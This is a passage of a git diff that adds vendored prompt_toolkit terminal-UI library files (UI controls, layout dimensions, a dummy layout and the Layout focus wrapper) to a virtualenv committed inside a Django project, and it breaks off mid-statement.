+GetLinePrefixCallable = Callable[[int, int], AnyFormattedText] + + +class UIControl(metaclass=ABCMeta): + """ + Base class for all user interface controls. + """ + + def reset(self) -> None: + # Default reset. (Doesn't have to be implemented.) + pass + + def preferred_width(self, max_available_width: int) -> Optional[int]: + return None + + def preferred_height( + self, + width: int, + max_available_height: int, + wrap_lines: bool, + get_line_prefix: Optional[GetLinePrefixCallable], + ) -> Optional[int]: + return None + + def is_focusable(self) -> bool: + """ + Tell whether this user control is focusable. + """ + return False + + @abstractmethod + def create_content(self, width: int, height: int) -> "UIContent": + """ + Generate the content for this user control. + + Returns a :class:`.UIContent` instance. + """ + + def mouse_handler(self, mouse_event: MouseEvent) -> "NotImplementedOrNone": + """ + Handle mouse events. + + When `NotImplemented` is returned, it means that the given event is not + handled by the `UIControl` itself. The `Window` or key bindings can + decide to handle this event as scrolling or changing focus. + + :param mouse_event: `MouseEvent` instance. + """ + return NotImplemented + + def move_cursor_down(self) -> None: + """ + Request to move the cursor down. + This happens when scrolling down and the cursor is completely at the + top. + """ + + def move_cursor_up(self) -> None: + """ + Request to move the cursor up. + """ + + def get_key_bindings(self) -> Optional["KeyBindingsBase"]: + """ + The key bindings that are specific for this user control. + + Return a :class:`.KeyBindings` object if some key bindings are + specified, or `None` otherwise. + """ + + def get_invalidate_events(self) -> Iterable["Event[object]"]: + """ + Return a list of `Event` objects. This can be a generator. + (The application collects all these events, in order to bind redraw + handlers to these events.) + """ + return [] + + +class UIContent: + """ + Content generated by a user control. This content consists of a list of + lines. + + :param get_line: Callable that takes a line number and returns the current + line. This is a list of (style_str, text) tuples. + :param line_count: The number of lines. + :param cursor_position: a :class:`.Point` for the cursor position. + :param menu_position: a :class:`.Point` for the menu position. + :param show_cursor: Make the cursor visible. + """ + + def __init__( + self, + get_line: Callable[[int], StyleAndTextTuples] = (lambda i: []), + line_count: int = 0, + cursor_position: Optional[Point] = None, + menu_position: Optional[Point] = None, + show_cursor: bool = True, + ): + + self.get_line = get_line + self.line_count = line_count + self.cursor_position = cursor_position or Point(x=0, y=0) + self.menu_position = menu_position + self.show_cursor = show_cursor + + # Cache for line heights. Maps cache key -> height + self._line_heights_cache: Dict[Hashable, int] = {} + + def __getitem__(self, lineno: int) -> StyleAndTextTuples: + "Make it iterable (iterate line by line)." + if lineno < self.line_count: + return self.get_line(lineno) + else: + raise IndexError + + def get_height_for_line( + self, + lineno: int, + width: int, + get_line_prefix: Optional[GetLinePrefixCallable], + slice_stop: Optional[int] = None, + ) -> int: + """ + Return the height that a given line would need if it is rendered in a + space with the given width (using line wrapping). + + :param get_line_prefix: None or a `Window.get_line_prefix` callable + that returns the prefix to be inserted before this line. + :param slice_stop: Wrap only "line[:slice_stop]" and return that + partial result. This is needed for scrolling the window correctly + when line wrapping. + :returns: The computed height. + """ + # Instead of using `get_line_prefix` as key, we use render_counter + # instead. This is more reliable, because this function could still be + # the same, while the content would change over time. + key = get_app().render_counter, lineno, width, slice_stop + + try: + return self._line_heights_cache[key] + except KeyError: + if width == 0: + height = 10**8 + else: + # Calculate line width first. + line = fragment_list_to_text(self.get_line(lineno))[:slice_stop] + text_width = get_cwidth(line) + + if get_line_prefix: + # Add prefix width. + text_width += fragment_list_width( + to_formatted_text(get_line_prefix(lineno, 0)) + ) + + # Slower path: compute path when there's a line prefix. + height = 1 + + # Keep wrapping as long as the line doesn't fit. + # Keep adding new prefixes for every wrapped line. + while text_width > width: + height += 1 + text_width -= width + + fragments2 = to_formatted_text( + get_line_prefix(lineno, height - 1) + ) + prefix_width = get_cwidth(fragment_list_to_text(fragments2)) + + if prefix_width >= width: # Prefix doesn't fit. + height = 10**8 + break + + text_width += prefix_width + else: + # Fast path: compute height when there's no line prefix. + try: + quotient, remainder = divmod(text_width, width) + except ZeroDivisionError: + height = 10**8 + else: + if remainder: + quotient += 1 # Like math.ceil. + height = max(1, quotient) + + # Cache and return + self._line_heights_cache[key] = height + return height + + +class FormattedTextControl(UIControl): + """ + Control that displays formatted text. This can be either plain text, an + :class:`~prompt_toolkit.formatted_text.HTML` object an + :class:`~prompt_toolkit.formatted_text.ANSI` object, a list of ``(style_str, + text)`` tuples or a callable that takes no argument and returns one of + those, depending on how you prefer to do the formatting. See + ``prompt_toolkit.layout.formatted_text`` for more information. + + (It's mostly optimized for rather small widgets, like toolbars, menus, etc...) + + When this UI control has the focus, the cursor will be shown in the upper + left corner of this control by default. There are two ways for specifying + the cursor position: + + - Pass a `get_cursor_position` function which returns a `Point` instance + with the current cursor position. + + - If the (formatted) text is passed as a list of ``(style, text)`` tuples + and there is one that looks like ``('[SetCursorPosition]', '')``, then + this will specify the cursor position. + + Mouse support: + + The list of fragments can also contain tuples of three items, looking like: + (style_str, text, handler). When mouse support is enabled and the user + clicks on this fragment, then the given handler is called. That handler + should accept two inputs: (Application, MouseEvent) and it should + either handle the event or return `NotImplemented` in case we want the + containing Window to handle this event. + + :param focusable: `bool` or :class:`.Filter`: Tell whether this control is + focusable. + + :param text: Text or formatted text to be displayed. + :param style: Style string applied to the content. (If you want to style + the whole :class:`~prompt_toolkit.layout.Window`, pass the style to the + :class:`~prompt_toolkit.layout.Window` instead.) + :param key_bindings: a :class:`.KeyBindings` object. + :param get_cursor_position: A callable that returns the cursor position as + a `Point` instance. + """ + + def __init__( + self, + text: AnyFormattedText = "", + style: str = "", + focusable: FilterOrBool = False, + key_bindings: Optional["KeyBindingsBase"] = None, + show_cursor: bool = True, + modal: bool = False, + get_cursor_position: Optional[Callable[[], Optional[Point]]] = None, + ) -> None: + + self.text = text # No type check on 'text'. This is done dynamically. + self.style = style + self.focusable = to_filter(focusable) + + # Key bindings. + self.key_bindings = key_bindings + self.show_cursor = show_cursor + self.modal = modal + self.get_cursor_position = get_cursor_position + + #: Cache for the content. + self._content_cache: SimpleCache[Hashable, UIContent] = SimpleCache(maxsize=18) + self._fragment_cache: SimpleCache[int, StyleAndTextTuples] = SimpleCache( + maxsize=1 + ) + # Only cache one fragment list. We don't need the previous item. + + # Render info for the mouse support. + self._fragments: Optional[StyleAndTextTuples] = None + + def reset(self) -> None: + self._fragments = None + + def is_focusable(self) -> bool: + return self.focusable() + + def __repr__(self) -> str: + return f"{self.__class__.__name__}({self.text!r})" + + def _get_formatted_text_cached(self) -> StyleAndTextTuples: + """ + Get fragments, but only retrieve fragments once during one render run. + (This function is called several times during one rendering, because + we also need those for calculating the dimensions.) + """ + return self._fragment_cache.get( + get_app().render_counter, lambda: to_formatted_text(self.text, self.style) + ) + + def preferred_width(self, max_available_width: int) -> int: + """ + Return the preferred width for this control. + That is the width of the longest line. + """ + text = fragment_list_to_text(self._get_formatted_text_cached()) + line_lengths = [get_cwidth(l) for l in text.split("\n")] + return max(line_lengths) + + def preferred_height( + self, + width: int, + max_available_height: int, + wrap_lines: bool, + get_line_prefix: Optional[GetLinePrefixCallable], + ) -> Optional[int]: + """ + Return the preferred height for this control. + """ + content = self.create_content(width, None) + if wrap_lines: + height = 0 + for i in range(content.line_count): + height += content.get_height_for_line(i, width, get_line_prefix) + if height >= max_available_height: + return max_available_height + return height + else: + return content.line_count + + def create_content(self, width: int, height: Optional[int]) -> UIContent: + # Get fragments + fragments_with_mouse_handlers = self._get_formatted_text_cached() + fragment_lines_with_mouse_handlers = list( + split_lines(fragments_with_mouse_handlers) + ) + + # Strip mouse handlers from fragments. + fragment_lines: List[StyleAndTextTuples] = [ + [(item[0], item[1]) for item in line] + for line in fragment_lines_with_mouse_handlers + ] + + # Keep track of the fragments with mouse handler, for later use in + # `mouse_handler`. + self._fragments = fragments_with_mouse_handlers + + # If there is a `[SetCursorPosition]` in the fragment list, set the + # cursor position here. + def get_cursor_position( + fragment: str = "[SetCursorPosition]", + ) -> Optional[Point]: + for y, line in enumerate(fragment_lines): + x = 0 + for style_str, text, *_ in line: + if fragment in style_str: + return Point(x=x, y=y) + x += len(text) + return None + + # If there is a `[SetMenuPosition]`, set the menu over here. + def get_menu_position() -> Optional[Point]: + return get_cursor_position("[SetMenuPosition]") + + cursor_position = (self.get_cursor_position or get_cursor_position)() + + # Create content, or take it from the cache. + key = (tuple(fragments_with_mouse_handlers), width, cursor_position) + + def get_content() -> UIContent: + return UIContent( + get_line=lambda i: fragment_lines[i], + line_count=len(fragment_lines), + show_cursor=self.show_cursor, + cursor_position=cursor_position, + menu_position=get_menu_position(), + ) + + return self._content_cache.get(key, get_content) + + def mouse_handler(self, mouse_event: MouseEvent) -> "NotImplementedOrNone": + """ + Handle mouse events. + + (When the fragment list contained mouse handlers and the user clicked on + on any of these, the matching handler is called. This handler can still + return `NotImplemented` in case we want the + :class:`~prompt_toolkit.layout.Window` to handle this particular + event.) + """ + if self._fragments: + # Read the generator. + fragments_for_line = list(split_lines(self._fragments)) + + try: + fragments = fragments_for_line[mouse_event.position.y] + except IndexError: + return NotImplemented + else: + # Find position in the fragment list. + xpos = mouse_event.position.x + + # Find mouse handler for this character. + count = 0 + for item in fragments: + count += len(item[1]) + if count > xpos: + if len(item) >= 3: + # Handler found. Call it. + # (Handler can return NotImplemented, so return + # that result.) + handler = item[2] # type: ignore + return handler(mouse_event) + else: + break + + # Otherwise, don't handle here. + return NotImplemented + + def is_modal(self) -> bool: + return self.modal + + def get_key_bindings(self) -> Optional["KeyBindingsBase"]: + return self.key_bindings + + +class DummyControl(UIControl): + """ + A dummy control object that doesn't paint any content. + + Useful for filling a :class:`~prompt_toolkit.layout.Window`. (The + `fragment` and `char` attributes of the `Window` class can be used to + define the filling.) + """ + + def create_content(self, width: int, height: int) -> UIContent: + def get_line(i: int) -> StyleAndTextTuples: + return [] + + return UIContent( + get_line=get_line, line_count=100**100 + ) # Something very big. + + def is_focusable(self) -> bool: + return False + + +class _ProcessedLine(NamedTuple): + fragments: StyleAndTextTuples + source_to_display: Callable[[int], int] + display_to_source: Callable[[int], int] + + +class BufferControl(UIControl): + """ + Control for visualising the content of a :class:`.Buffer`. + + :param buffer: The :class:`.Buffer` object to be displayed. + :param input_processors: A list of + :class:`~prompt_toolkit.layout.processors.Processor` objects. + :param include_default_input_processors: When True, include the default + processors for highlighting of selection, search and displaying of + multiple cursors. + :param lexer: :class:`.Lexer` instance for syntax highlighting. + :param preview_search: `bool` or :class:`.Filter`: Show search while + typing. When this is `True`, probably you want to add a + ``HighlightIncrementalSearchProcessor`` as well. Otherwise only the + cursor position will move, but the text won't be highlighted. + :param focusable: `bool` or :class:`.Filter`: Tell whether this control is focusable. + :param focus_on_click: Focus this buffer when it's click, but not yet focused. + :param key_bindings: a :class:`.KeyBindings` object. + """ + + def __init__( + self, + buffer: Optional[Buffer] = None, + input_processors: Optional[List[Processor]] = None, + include_default_input_processors: bool = True, + lexer: Optional[Lexer] = None, + preview_search: FilterOrBool = False, + focusable: FilterOrBool = True, + search_buffer_control: Union[ + None, "SearchBufferControl", Callable[[], "SearchBufferControl"] + ] = None, + menu_position: Optional[Callable[[], Optional[int]]] = None, + focus_on_click: FilterOrBool = False, + key_bindings: Optional["KeyBindingsBase"] = None, + ): + + self.input_processors = input_processors + self.include_default_input_processors = include_default_input_processors + + self.default_input_processors = [ + HighlightSearchProcessor(), + HighlightIncrementalSearchProcessor(), + HighlightSelectionProcessor(), + DisplayMultipleCursors(), + ] + + self.preview_search = to_filter(preview_search) + self.focusable = to_filter(focusable) + self.focus_on_click = to_filter(focus_on_click) + + self.buffer = buffer or Buffer() + self.menu_position = menu_position + self.lexer = lexer or SimpleLexer() + self.key_bindings = key_bindings + self._search_buffer_control = search_buffer_control + + #: Cache for the lexer. + #: Often, due to cursor movement, undo/redo and window resizing + #: operations, it happens that a short time, the same document has to be + #: lexed. This is a fairly easy way to cache such an expensive operation. + self._fragment_cache: SimpleCache[ + Hashable, Callable[[int], StyleAndTextTuples] + ] = SimpleCache(maxsize=8) + + self._last_click_timestamp: Optional[float] = None + self._last_get_processed_line: Optional[Callable[[int], _ProcessedLine]] = None + + def __repr__(self) -> str: + return f"<{self.__class__.__name__} buffer={self.buffer!r} at {id(self)!r}>" + + @property + def search_buffer_control(self) -> Optional["SearchBufferControl"]: + result: Optional[SearchBufferControl] + + if callable(self._search_buffer_control): + result = self._search_buffer_control() + else: + result = self._search_buffer_control + + assert result is None or isinstance(result, SearchBufferControl) + return result + + @property + def search_buffer(self) -> Optional[Buffer]: + control = self.search_buffer_control + if control is not None: + return control.buffer + return None + + @property + def search_state(self) -> SearchState: + """ + Return the `SearchState` for searching this `BufferControl`. This is + always associated with the search control. If one search bar is used + for searching multiple `BufferControls`, then they share the same + `SearchState`. + """ + search_buffer_control = self.search_buffer_control + if search_buffer_control: + return search_buffer_control.searcher_search_state + else: + return SearchState() + + def is_focusable(self) -> bool: + return self.focusable() + + def preferred_width(self, max_available_width: int) -> Optional[int]: + """ + This should return the preferred width. + + Note: We don't specify a preferred width according to the content, + because it would be too expensive. Calculating the preferred + width can be done by calculating the longest line, but this would + require applying all the processors to each line. This is + unfeasible for a larger document, and doing it for small + documents only would result in inconsistent behaviour. + """ + return None + + def preferred_height( + self, + width: int, + max_available_height: int, + wrap_lines: bool, + get_line_prefix: Optional[GetLinePrefixCallable], + ) -> Optional[int]: + + # Calculate the content height, if it was drawn on a screen with the + # given width. + height = 0 + content = self.create_content(width, height=1) # Pass a dummy '1' as height. + + # When line wrapping is off, the height should be equal to the amount + # of lines. + if not wrap_lines: + return content.line_count + + # When the number of lines exceeds the max_available_height, just + # return max_available_height. No need to calculate anything. + if content.line_count >= max_available_height: + return max_available_height + + for i in range(content.line_count): + height += content.get_height_for_line(i, width, get_line_prefix) + + if height >= max_available_height: + return max_available_height + + return height + + def _get_formatted_text_for_line_func( + self, document: Document + ) -> Callable[[int], StyleAndTextTuples]: + """ + Create a function that returns the fragments for a given line. + """ + # Cache using `document.text`. + def get_formatted_text_for_line() -> Callable[[int], StyleAndTextTuples]: + return self.lexer.lex_document(document) + + key = (document.text, self.lexer.invalidation_hash()) + return self._fragment_cache.get(key, get_formatted_text_for_line) + + def _create_get_processed_line_func( + self, document: Document, width: int, height: int + ) -> Callable[[int], _ProcessedLine]: + """ + Create a function that takes a line number of the current document and + returns a _ProcessedLine(processed_fragments, source_to_display, display_to_source) + tuple. + """ + # Merge all input processors together. + input_processors = self.input_processors or [] + if self.include_default_input_processors: + input_processors = self.default_input_processors + input_processors + + merged_processor = merge_processors(input_processors) + + def transform(lineno: int, fragments: StyleAndTextTuples) -> _ProcessedLine: + "Transform the fragments for a given line number." + # Get cursor position at this line. + def source_to_display(i: int) -> int: + """X position from the buffer to the x position in the + processed fragment list. By default, we start from the 'identity' + operation.""" + return i + + transformation = merged_processor.apply_transformation( + TransformationInput( + self, document, lineno, source_to_display, fragments, width, height + ) + ) + + return _ProcessedLine( + transformation.fragments, + transformation.source_to_display, + transformation.display_to_source, + ) + + def create_func() -> Callable[[int], _ProcessedLine]: + get_line = self._get_formatted_text_for_line_func(document) + cache: Dict[int, _ProcessedLine] = {} + + def get_processed_line(i: int) -> _ProcessedLine: + try: + return cache[i] + except KeyError: + processed_line = transform(i, get_line(i)) + cache[i] = processed_line + return processed_line + + return get_processed_line + + return create_func() + + def create_content( + self, width: int, height: int, preview_search: bool = False + ) -> UIContent: + """ + Create a UIContent. + """ + buffer = self.buffer + + # Trigger history loading of the buffer. We do this during the + # rendering of the UI here, because it needs to happen when an + # `Application` with its event loop is running. During the rendering of + # the buffer control is the earliest place we can achieve this, where + # we're sure the right event loop is active, and don't require user + # interaction (like in a key binding). + buffer.load_history_if_not_yet_loaded() + + # Get the document to be shown. If we are currently searching (the + # search buffer has focus, and the preview_search filter is enabled), + # then use the search document, which has possibly a different + # text/cursor position.) + search_control = self.search_buffer_control + preview_now = preview_search or bool( + # Only if this feature is enabled. + self.preview_search() + and + # And something was typed in the associated search field. + search_control + and search_control.buffer.text + and + # And we are searching in this control. (Many controls can point to + # the same search field, like in Pyvim.) + get_app().layout.search_target_buffer_control == self + ) + + if preview_now and search_control is not None: + ss = self.search_state + + document = buffer.document_for_search( + SearchState( + text=search_control.buffer.text, + direction=ss.direction, + ignore_case=ss.ignore_case, + ) + ) + else: + document = buffer.document + + get_processed_line = self._create_get_processed_line_func( + document, width, height + ) + self._last_get_processed_line = get_processed_line + + def translate_rowcol(row: int, col: int) -> Point: + "Return the content column for this coordinate." + return Point(x=get_processed_line(row).source_to_display(col), y=row) + + def get_line(i: int) -> StyleAndTextTuples: + "Return the fragments for a given line number." + fragments = get_processed_line(i).fragments + + # Add a space at the end, because that is a possible cursor + # position. (When inserting after the input.) We should do this on + # all the lines, not just the line containing the cursor. (Because + # otherwise, line wrapping/scrolling could change when moving the + # cursor around.) + fragments = fragments + [("", " ")] + return fragments + + content = UIContent( + get_line=get_line, + line_count=document.line_count, + cursor_position=translate_rowcol( + document.cursor_position_row, document.cursor_position_col + ), + ) + + # If there is an auto completion going on, use that start point for a + # pop-up menu position. (But only when this buffer has the focus -- + # there is only one place for a menu, determined by the focused buffer.) + if get_app().layout.current_control == self: + menu_position = self.menu_position() if self.menu_position else None + if menu_position is not None: + assert isinstance(menu_position, int) + menu_row, menu_col = buffer.document.translate_index_to_position( + menu_position + ) + content.menu_position = translate_rowcol(menu_row, menu_col) + elif buffer.complete_state: + # Position for completion menu. + # Note: We use 'min', because the original cursor position could be + # behind the input string when the actual completion is for + # some reason shorter than the text we had before. (A completion + # can change and shorten the input.) + menu_row, menu_col = buffer.document.translate_index_to_position( + min( + buffer.cursor_position, + buffer.complete_state.original_document.cursor_position, + ) + ) + content.menu_position = translate_rowcol(menu_row, menu_col) + else: + content.menu_position = None + + return content + + def mouse_handler(self, mouse_event: MouseEvent) -> "NotImplementedOrNone": + """ + Mouse handler for this control. + """ + buffer = self.buffer + position = mouse_event.position + + # Focus buffer when clicked. + if get_app().layout.current_control == self: + if self._last_get_processed_line: + processed_line = self._last_get_processed_line(position.y) + + # Translate coordinates back to the cursor position of the + # original input. + xpos = processed_line.display_to_source(position.x) + index = buffer.document.translate_row_col_to_index(position.y, xpos) + + # Set the cursor position. + if mouse_event.event_type == MouseEventType.MOUSE_DOWN: + buffer.exit_selection() + buffer.cursor_position = index + + elif ( + mouse_event.event_type == MouseEventType.MOUSE_MOVE + and mouse_event.button != MouseButton.NONE + ): + # Click and drag to highlight a selection + if ( + buffer.selection_state is None + and abs(buffer.cursor_position - index) > 0 + ): + buffer.start_selection(selection_type=SelectionType.CHARACTERS) + buffer.cursor_position = index + + elif mouse_event.event_type == MouseEventType.MOUSE_UP: + # When the cursor was moved to another place, select the text. + # (The >1 is actually a small but acceptable workaround for + # selecting text in Vi navigation mode. In navigation mode, + # the cursor can never be after the text, so the cursor + # will be repositioned automatically.) + if abs(buffer.cursor_position - index) > 1: + if buffer.selection_state is None: + buffer.start_selection( + selection_type=SelectionType.CHARACTERS + ) + buffer.cursor_position = index + + # Select word around cursor on double click. + # Two MOUSE_UP events in a short timespan are considered a double click. + double_click = ( + self._last_click_timestamp + and time.time() - self._last_click_timestamp < 0.3 + ) + self._last_click_timestamp = time.time() + + if double_click: + start, end = buffer.document.find_boundaries_of_current_word() + buffer.cursor_position += start + buffer.start_selection(selection_type=SelectionType.CHARACTERS) + buffer.cursor_position += end - start + else: + # Don't handle scroll events here. + return NotImplemented + + # Not focused, but focusing on click events. + else: + if ( + self.focus_on_click() + and mouse_event.event_type == MouseEventType.MOUSE_UP + ): + # Focus happens on mouseup. (If we did this on mousedown, the + # up event will be received at the point where this widget is + # focused and be handled anyway.) + get_app().layout.current_control = self + else: + return NotImplemented + + return None + + def move_cursor_down(self) -> None: + b = self.buffer + b.cursor_position += b.document.get_cursor_down_position() + + def move_cursor_up(self) -> None: + b = self.buffer + b.cursor_position += b.document.get_cursor_up_position() + + def get_key_bindings(self) -> Optional["KeyBindingsBase"]: + """ + When additional key bindings are given. Return these. + """ + return self.key_bindings + + def get_invalidate_events(self) -> Iterable["Event[object]"]: + """ + Return the Window invalidate events. + """ + # Whenever the buffer changes, the UI has to be updated. + yield self.buffer.on_text_changed + yield self.buffer.on_cursor_position_changed + + yield self.buffer.on_completions_changed + yield self.buffer.on_suggestion_set + + +class SearchBufferControl(BufferControl): + """ + :class:`.BufferControl` which is used for searching another + :class:`.BufferControl`. + + :param ignore_case: Search case insensitive. + """ + + def __init__( + self, + buffer: Optional[Buffer] = None, + input_processors: Optional[List[Processor]] = None, + lexer: Optional[Lexer] = None, + focus_on_click: FilterOrBool = False, + key_bindings: Optional["KeyBindingsBase"] = None, + ignore_case: FilterOrBool = False, + ): + + super().__init__( + buffer=buffer, + input_processors=input_processors, + lexer=lexer, + focus_on_click=focus_on_click, + key_bindings=key_bindings, + ) + + # If this BufferControl is used as a search field for one or more other + # BufferControls, then represents the search state. + self.searcher_search_state = SearchState(ignore_case=ignore_case) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/dimension.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/dimension.py new file mode 100644 index 00000000..04c21637 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/dimension.py @@ -0,0 +1,217 @@ +""" +Layout dimensions are used to give the minimum, maximum and preferred +dimensions for containers and controls. +""" +from typing import TYPE_CHECKING, Any, Callable, List, Optional, Union + +__all__ = [ + "Dimension", + "D", + "sum_layout_dimensions", + "max_layout_dimensions", + "AnyDimension", + "to_dimension", + "is_dimension", +] + +if TYPE_CHECKING: + from typing_extensions import TypeGuard + + +class Dimension: + """ + Specified dimension (width/height) of a user control or window. + + The layout engine tries to honor the preferred size. If that is not + possible, because the terminal is larger or smaller, it tries to keep in + between min and max. + + :param min: Minimum size. + :param max: Maximum size. + :param weight: For a VSplit/HSplit, the actual size will be determined + by taking the proportion of weights from all the children. + E.g. When there are two children, one with a weight of 1, + and the other with a weight of 2, the second will always be + twice as big as the first, if the min/max values allow it. + :param preferred: Preferred size. + """ + + def __init__( + self, + min: Optional[int] = None, + max: Optional[int] = None, + weight: Optional[int] = None, + preferred: Optional[int] = None, + ) -> None: + if weight is not None: + assert weight >= 0 # Also cannot be a float. + + assert min is None or min >= 0 + assert max is None or max >= 0 + assert preferred is None or preferred >= 0 + + self.min_specified = min is not None + self.max_specified = max is not None + self.preferred_specified = preferred is not None + self.weight_specified = weight is not None + + if min is None: + min = 0 # Smallest possible value. + if max is None: # 0-values are allowed, so use "is None" + max = 1000**10 # Something huge. + if preferred is None: + preferred = min + if weight is None: + weight = 1 + + self.min = min + self.max = max + self.preferred = preferred + self.weight = weight + + # Don't allow situations where max < min. (This would be a bug.) + if max < min: + raise ValueError("Invalid Dimension: max < min.") + + # Make sure that the 'preferred' size is always in the min..max range. + if self.preferred < self.min: + self.preferred = self.min + + if self.preferred > self.max: + self.preferred = self.max + + @classmethod + def exact(cls, amount: int) -> "Dimension": + """ + Return a :class:`.Dimension` with an exact size. (min, max and + preferred set to ``amount``). + """ + return cls(min=amount, max=amount, preferred=amount) + + @classmethod + def zero(cls) -> "Dimension": + """ + Create a dimension that represents a zero size. (Used for 'invisible' + controls.) + """ + return cls.exact(amount=0) + + def is_zero(self) -> bool: + "True if this `Dimension` represents a zero size." + return self.preferred == 0 or self.max == 0 + + def __repr__(self) -> str: + fields = [] + if self.min_specified: + fields.append("min=%r" % self.min) + if self.max_specified: + fields.append("max=%r" % self.max) + if self.preferred_specified: + fields.append("preferred=%r" % self.preferred) + if self.weight_specified: + fields.append("weight=%r" % self.weight) + + return "Dimension(%s)" % ", ".join(fields) + + +def sum_layout_dimensions(dimensions: List[Dimension]) -> Dimension: + """ + Sum a list of :class:`.Dimension` instances. + """ + min = sum(d.min for d in dimensions) + max = sum(d.max for d in dimensions) + preferred = sum(d.preferred for d in dimensions) + + return Dimension(min=min, max=max, preferred=preferred) + + +def max_layout_dimensions(dimensions: List[Dimension]) -> Dimension: + """ + Take the maximum of a list of :class:`.Dimension` instances. + Used when we have a HSplit/VSplit, and we want to get the best width/height.) + """ + if not len(dimensions): + return Dimension.zero() + + # If all dimensions are size zero. Return zero. + # (This is important for HSplit/VSplit, to report the right values to their + # parent when all children are invisible.) + if all(d.is_zero() for d in dimensions): + return dimensions[0] + + # Ignore empty dimensions. (They should not reduce the size of others.) + dimensions = [d for d in dimensions if not d.is_zero()] + + if dimensions: + # Take the highest minimum dimension. + min_ = max(d.min for d in dimensions) + + # For the maximum, we would prefer not to go larger than then smallest + # 'max' value, unless other dimensions have a bigger preferred value. + # This seems to work best: + # - We don't want that a widget with a small height in a VSplit would + # shrink other widgets in the split. + # If it doesn't work well enough, then it's up to the UI designer to + # explicitly pass dimensions. + max_ = min(d.max for d in dimensions) + max_ = max(max_, max(d.preferred for d in dimensions)) + + # Make sure that min>=max. In some scenarios, when certain min..max + # ranges don't have any overlap, we can end up in such an impossible + # situation. In that case, give priority to the max value. + # E.g. taking (1..5) and (8..9) would return (8..5). Instead take (8..8). + if min_ > max_: + max_ = min_ + + preferred = max(d.preferred for d in dimensions) + + return Dimension(min=min_, max=max_, preferred=preferred) + else: + return Dimension() + + +# Anything that can be converted to a dimension. +AnyDimension = Union[ + None, # None is a valid dimension that will fit anything. + int, + Dimension, + # Callable[[], 'AnyDimension'] # Recursive definition not supported by mypy. + Callable[[], Any], +] + + +def to_dimension(value: AnyDimension) -> Dimension: + """ + Turn the given object into a `Dimension` object. + """ + if value is None: + return Dimension() + if isinstance(value, int): + return Dimension.exact(value) + if isinstance(value, Dimension): + return value + if callable(value): + return to_dimension(value()) + + raise ValueError("Not an integer or Dimension object.") + + +def is_dimension(value: object) -> "TypeGuard[AnyDimension]": + """ + Test whether the given value could be a valid dimension. + (For usage in an assertion. It's not guaranteed in case of a callable.) + """ + if value is None: + return True + if callable(value): + return True # Assume it's a callable that doesn't take arguments. + if isinstance(value, (int, Dimension)): + return True + return False + + +# Common alias. +D = Dimension + +# For backward-compatibility. +LayoutDimension = Dimension diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/dummy.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/dummy.py new file mode 100644 index 00000000..dcd54e9f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/dummy.py @@ -0,0 +1,37 @@ +""" +Dummy layout. Used when somebody creates an `Application` without specifying a +`Layout`. +""" +from prompt_toolkit.formatted_text import HTML +from prompt_toolkit.key_binding import KeyBindings +from prompt_toolkit.key_binding.key_processor import KeyPressEvent + +from .containers import Window +from .controls import FormattedTextControl +from .dimension import D +from .layout import Layout + +__all__ = [ + "create_dummy_layout", +] + +E = KeyPressEvent + + +def create_dummy_layout() -> Layout: + """ + Create a dummy layout for use in an 'Application' that doesn't have a + layout specified. When ENTER is pressed, the application quits. + """ + kb = KeyBindings() + + @kb.add("enter") + def enter(event: E) -> None: + event.app.exit() + + control = FormattedTextControl( + HTML("No layout specified. Press ENTER to quit."), + key_bindings=kb, + ) + window = Window(content=control, height=D(min=1)) + return Layout(container=window, focused_element=window) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/layout.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/layout.py new file mode 100644 index 00000000..62a3184e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/layout.py @@ -0,0 +1,411 @@ +""" +Wrapper for the layout. +""" +from typing import Dict, Generator, Iterable, List, Optional, Union + +from prompt_toolkit.buffer import Buffer + +from .containers import ( + AnyContainer, + ConditionalContainer, + Container, + Window, + to_container, +) +from .controls import BufferControl, SearchBufferControl, UIControl + +__all__ = [ + "Layout", + "InvalidLayoutError", + "walk", +] + +FocusableElement = Union[str, Buffer, UIControl, AnyContainer] + + +class Layout: + """ + The layout for a prompt_toolkit + :class:`~prompt_toolkit.application.Application`. + This also keeps track of which user control is focused. + + :param container: The "root" container for the layout. + :param focused_element: element to be focused initially. (Can be anything + the `focus` function accepts.) + """ + + def __init__( + self, + container: AnyContainer, + focused_element: Optional[FocusableElement] = None, + ) -> None: + + self.container = to_container(container) + self._stack: List[Window] = [] + + # Map search BufferControl back to the original BufferControl. + # This is used to keep track of when exactly we are searching, and for + # applying the search. + # When a link exists in this dictionary, that means the search is + # currently active. + # Map: search_buffer_control -> original buffer control. + self.search_links: Dict[SearchBufferControl, BufferControl] = {} + + # Mapping that maps the children in the layout to their parent. + # This relationship is calculated dynamically, each time when the UI + # is rendered. (UI elements have only references to their children.) + self._child_to_parent: Dict[Container, Container] = {} + + if focused_element is None: + try: + self._stack.append(next(self.find_all_windows())) + except StopIteration as e: + raise InvalidLayoutError( + "Invalid layout. The layout does not contain any Window object." + ) from e + else: + self.focus(focused_element) + + # List of visible windows. + self.visible_windows: List[Window] = [] # List of `Window` objects. + + def __repr__(self) -> str: + return f"Layout({self.container!r}, current_window={self.current_window!r})" + + def find_all_windows(self) -> Generator[Window, None, None]: + """ + Find all the :class:`.UIControl` objects in this layout. + """ + for item in self.walk(): + if isinstance(item, Window): + yield item + + def find_all_controls(self) -> Iterable[UIControl]: + for container in self.find_all_windows(): + yield container.content + + def focus(self, value: FocusableElement) -> None: + """ + Focus the given UI element. + + `value` can be either: + + - a :class:`.UIControl` + - a :class:`.Buffer` instance or the name of a :class:`.Buffer` + - a :class:`.Window` + - Any container object. In this case we will focus the :class:`.Window` + from this container that was focused most recent, or the very first + focusable :class:`.Window` of the container. + """ + # BufferControl by buffer name. + if isinstance(value, str): + for control in self.find_all_controls(): + if isinstance(control, BufferControl) and control.buffer.name == value: + self.focus(control) + return + raise ValueError(f"Couldn't find Buffer in the current layout: {value!r}.") + + # BufferControl by buffer object. + elif isinstance(value, Buffer): + for control in self.find_all_controls(): + if isinstance(control, BufferControl) and control.buffer == value: + self.focus(control) + return + raise 